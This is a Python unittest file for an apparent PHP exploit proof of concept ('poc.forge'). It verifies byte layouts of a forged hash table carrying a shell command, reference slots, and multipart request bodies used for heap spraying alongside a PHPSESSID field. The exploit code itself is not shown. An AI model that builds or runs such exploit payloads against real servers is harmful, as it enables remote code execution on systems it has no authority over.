46 lines
2.2 KiB
Python
46 lines
2.2 KiB
Python
import struct
|
|
import unittest
|
|
|
|
from poc import forge
|
|
|
|
|
|
class ForgeTest(unittest.TestCase):
|
|
def test_ht_layout(self):
|
|
ht = forge.build_ht(0x7F0000000000, 0x7F0000A00000, b"id>/out/p1")
|
|
self.assertEqual(len(ht), 384)
|
|
self.assertEqual(struct.unpack_from("<II", ht, 0x00), (1, 7))
|
|
self.assertEqual(struct.unpack_from("<Q", ht, 0x10)[0], 0x7F0000000000 + 0x20)
|
|
self.assertEqual(struct.unpack_from("<Q", ht, 0x30)[0], 0x7F0000A00000)
|
|
self.assertEqual(struct.unpack_from("<I", ht, 0x4C)[0], 1)
|
|
self.assertEqual(struct.unpack_from("<Q", ht, 0x70)[0], 0x7F0000000000 + 0x80)
|
|
self.assertEqual(struct.unpack_from("<I", ht, 0x78)[0], 6)
|
|
self.assertEqual(ht[0x98:0x98 + 10], b"id>/out/p1")
|
|
|
|
def test_cmd_too_long_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
forge.build_ht(0, 0, b"A" * 500)
|
|
|
|
def test_ref_slot(self):
|
|
slot = forge.build_ref_slot(0x7F0000000000, 1)
|
|
self.assertEqual(len(slot), 32)
|
|
self.assertEqual(struct.unpack_from("<I", slot, 0)[0], 1)
|
|
self.assertEqual(slot[4], 0x0A)
|
|
self.assertEqual(struct.unpack_from("<Q", slot, 8)[0], 0x7F0000000000)
|
|
self.assertEqual(struct.unpack_from("<I", slot, 16)[0], 0x0107)
|
|
|
|
def test_b2_ordering(self):
|
|
cfg = {"vl": 384, "n1": 3, "n2": 3, "rc": 1, "name_len": 10,
|
|
"ref_start": 8, "ref_step": 32, "val_type": 0x0107}
|
|
body = forge.build_b2(cfg, ht_addr=0x7F0000000000, ht=b"h" * 384)
|
|
self.assertEqual(body.count(b"name=\"s000000000\""), 1)
|
|
self.assertEqual(body.count(b"name=\"t000000000\""), 1)
|
|
self.assertLess(body.index(b"name=\"ht\""), body.index(b"name=\"PHPSESSID\""))
|
|
self.assertLess(body.index(b"name=\"PHPSESSID\""), body.index(b"name=\"t000000000\""))
|
|
self.assertEqual(body.count(b"h" * 384), 1)
|
|
|
|
def test_b2_spray_density(self):
|
|
cfg = {"vl": 384, "n1": 2, "n2": 0, "rc": 1, "name_len": 10,
|
|
"ref_start": 8, "ref_step": 32, "val_type": 0x0107}
|
|
body = forge.build_b2(cfg, ht_addr=0x1111111111110000, ht=b"h" * 384)
|
|
self.assertEqual(body.count(struct.pack("<Q", 0x1111111111110000)), 2 * 11)
|